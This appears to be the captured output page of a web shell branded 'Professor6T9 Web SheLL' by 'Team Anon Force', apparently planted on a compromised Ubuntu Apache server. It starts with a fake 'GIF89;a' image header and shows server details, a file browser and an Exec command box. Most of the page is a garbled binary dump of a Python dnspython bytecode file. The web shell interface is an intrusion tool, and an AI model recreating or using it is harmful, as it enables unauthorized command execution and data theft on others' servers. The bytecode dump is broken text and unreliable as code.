GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
rrset.cpython-310.pyc
o x7�_� � @ sd d Z ddlZddlZddlZddlZG dd� dejj�Z ddd�Z dd � Z dd d�Zdd � ZdS )z)DNS RRsets (an RRset is a named rdataset)� Nc s� e Zd ZdZddgZejjdf� fdd� Z� fdd�Z d d � Z dd� Z� fd d�Z� fdd�Z d� fdd� Zd� fdd� Zd� fdd� Zdd� Z� ZS )�RRseta6 A DNS RRset (named rdataset). RRset inherits from Rdataset, and RRsets can be treated as Rdatasets in most cases. There are, however, a few notable exceptions. RRsets have different to_wire() and to_text() method arguments, reflecting the fact that RRsets always have an owner name. �name�deletingNc s t � �|||� || _|| _dS )zCreate a new RRset.N)�super�__init__r r ��selfr �rdclass�rdtype�coversr �� __class__� �+/usr/lib/python3/dist-packages/dns/rrset.pyr ( s zRRset.__init__c s t � �� }| j|_| j|_|S �N)r �_cloner r )r �objr r r r 0 s zRRset._clonec C s� | j dkrd}ndtj�| j � d }| jd ur"dtj�| j� }nd}dt| j� d tj�| j� d tj�| j � | | d | � � d S ) Nr � �(�)z delete=z<DNS � z RRset: �>)r �dns� rdatatype�to_textr � rdataclass�strr r r Z_rdata_repr)r ZctextZdtextr r r �__repr__6 s. ��������zRRset.__repr__c C s | � � S r )r �r r r r �__str__D s z RRset.__str__c s: t |t�r| j|jkr dS n t |tjj�sdS t� �|�S )NF)� isinstancer r r �rdataset�Rdatasetr �__eq__)r �otherr r r r# G s �zRRset.__eq__c s4 t |d tjj�r| j|i |��S t� j|i |��S )a� Does this rrset match the specified attributes? Behaves as :py:func:`full_match()` if the first argument is a ``dns.name.Name``, and as :py:func:`dns.rdataset.Rdataset.match()` otherwise. (This behavior fixes a design mistake where the signature of this method became incompatible with that of its superclass. The fix makes RRsets matchable as Rdatasets while preserving backwards compatibility.) r )r r r �Name� full_matchr �match)r �args�kwargsr r r r'